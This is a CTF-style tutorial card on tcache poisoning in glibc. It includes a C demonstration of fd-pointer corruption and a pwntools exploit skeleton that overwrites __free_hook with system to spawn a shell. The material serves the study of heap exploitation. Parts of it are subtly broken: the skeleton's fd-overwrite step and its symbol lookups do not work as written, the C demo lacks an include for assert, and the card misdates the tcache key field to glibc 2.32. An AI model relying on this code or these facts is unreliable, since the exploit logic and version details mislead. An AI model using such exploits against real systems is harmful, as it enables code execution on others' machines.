Browse CTFs New CTF Sign in

Tcache Poisoning: fd Pointer Corruption for Arbitrary Allocation in glibc 2.27+ Heap

crypto_tokens_protocols Difficulty 1–5 30 min certifiable

Theory

Why This Matters

The tcache (thread-local cache) was introduced in glibc 2.26 to improve allocation performance, but its minimal security checks made it the dominant heap exploitation target for several years after its introduction. Nearly every heap CTF challenge from 2018 onward relies on tcache mechanics. NICE K0168 and S0131 (develop exploits) require understanding heap allocator internals; T0286 (develop tools to support cyber operations) includes writing proof-of-concept code that demonstrates arbitrary allocation. Tcache poisoning is the entry-level heap primitive: one corrupted free-list pointer yields an allocation at any address the attacker chooses.

Core Concept

Tcache bins are per-thread singly-linked free lists, one per chunk size class (16 bytes to 1032 bytes on 64-bit, in 16-byte increments). Each bin holds up to 7 chunks. The bin is a simple forward-linked list: each free chunk's fd field (at offset 8 from the start of the user data, which is offset 16 from the chunk header) points to the next free chunk in the same size class.

Chunk structure (64-bit, minimum 32 bytes):

 Offset   Field
 ─────── ──────────────────────────────────────────────
  0x00   prev_size   (8 bytes) — size of previous chunk if free
  0x08   size        (8 bytes) — size of this chunk + flags (P, M, A in low bits)
  0x10   fd          (8 bytes) — forward pointer (next free chunk) [user data starts here]
  0x18   bk          (8 bytes) — backward pointer (unused in tcache, used by smallbins)

When a chunk is in the tcache, fd (at the start of the user-data area) points to the next free chunk. When malloc is called and a matching tcache bin is non-empty, it pops the head chunk and returns a pointer to offset +0x10 (the user-data area). The bin head is then updated to head->fd.

Tcache poisoning corrupts the fd pointer of a free chunk in the tcache bin. On the next malloc call of the same size, the poisoned chunk is returned. On the call after that, malloc follows the corrupted fd and returns the attacker-controlled address as a heap allocation, allowing the attacker to write arbitrary data at that address on the subsequent malloc write.

glibc 2.32+ key check: to prevent double-free via tcache poisoning, glibc 2.32 added a key field at chunk+0x18 (the bk slot). When a chunk is placed into the tcache, key is set to the address of the tcache struct. On free, glibc checks whether chunk->key == tcache — if so, it walks the bin to detect a duplicate. Bypassing this requires either zeroing the key field before freeing a second time, or overwriting it through an overflow/UAF before triggering the free.

Technical Deep-Dive

// Minimal demonstration (glibc 2.27, no key check)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    long target = 0;
    printf("target before: %ld  @ %p
", target, &target);

    // Allocate two same-sized chunks
    void *a = malloc(0x28);
    void *b = malloc(0x28);

    // Free both into tcache bin for size 0x30 (0x28 rounded up + header)
    free(a);
    free(b);

    // Corrupt fd of chunk b (now at head of bin) to point at target
    // b is returned by the second malloc, but its fd is read BEFORE that
    // so we write to the fd field of the chunk currently at the head
    *(void **)b = &target;   // overwrite fd of freed chunk b

    // First malloc drains b from the bin; bin head becomes &target
    void *c = malloc(0x28);  // returns b

    // Second malloc returns &target (the poisoned fd)
    void *d = malloc(0x28);  // returns &target
    assert(d == (void *)&target);

    // Write through d to overwrite target
    *(long *)d = 0xdeadbeef;
    printf("target after:  %ld
", target);  // 0xdeadbeef
    return 0;
}

pwntools-based exploit skeleton (glibc 2.27, heap leak available):

from pwn import *

p   = process('./heap_challenge')
elf = ELF('./heap_challenge')

def alloc(size, data=b'A'):
    # challenge-specific allocation primitive
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendlineafter(b'Data: ', data)

def free_chunk(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())

def read_chunk(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())
    return p.recvline().strip()

# Allocate, free two same-size chunks so they enter tcache
alloc(0x28, b'A' * 0x28)   # chunk 0
alloc(0x28, b'B' * 0x28)   # chunk 1
free_chunk(0)
free_chunk(1)

# Overwrite fd of chunk 1 (head of tcache 0x30 bin) via UAF/overflow
target = elf.sym['__free_hook']    # glibc < 2.34
alloc(0x28, p64(target))          # chunk 2 — goes into chunk 1's slot, writes fd

alloc(0x28, b'C' * 0x28)          # chunk 3 — drains original chunk 1
alloc(0x28, p64(elf.sym['system'])) # chunk 4 — allocated at __free_hook, overwrites it

# Now free a chunk containing /bin/sh to trigger system("/bin/sh")
alloc(0x28, b'/bin/shx00')       # chunk 5
free_chunk(5)                      # triggers __free_hook("/bin/sh") = system("/bin/sh")

p.interactive()

Reverse Engineering Methodology

  1. Identify the glibc version: strings ./libc.so.6 | grep "GNU C Library". This determines whether the key check exists (>= 2.32).
  2. Map out allocation/free primitives in the binary. Look for malloc, calloc, free, realloc in the PLT.
  3. Find the UAF or overflow that allows writing to a freed chunk's fd field. The fd field is at the start of the user-data area (the pointer returned by malloc).
  4. Compute the target address: __free_hook for glibc < 2.34; __malloc_hook for alternate targets; or a GOT entry for the binary itself.

Common Reversing Errors

  • Confusing chunk size with requested size: malloc(0x28) allocates a chunk of size 0x30 (rounded up to 16-byte alignment + 16-byte header). The tcache bin is indexed by chunk size, not requested size. Use 0x30 when referencing the bin.
  • glibc 2.32+ key check double-free detection: if the exploit double-frees the same chunk without zeroing chunk->key, glibc detects it and aborts. Zero key (at user_ptr + 8) via the same write primitive before the second free.
  • Writing fd before the chunk is in the tcache: the fd field of an allocated (live) chunk contains user data, not a tcache pointer. Only free chunks have a meaningful fd. Corrupt fd only after the chunk is freed.
  • Tcache bin full (7 chunks): if 7 chunks of the same size are already in the bin, subsequent frees go to the smallbin or unsorted bin. Ensure fewer than 7 same-size frees precede your target free.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.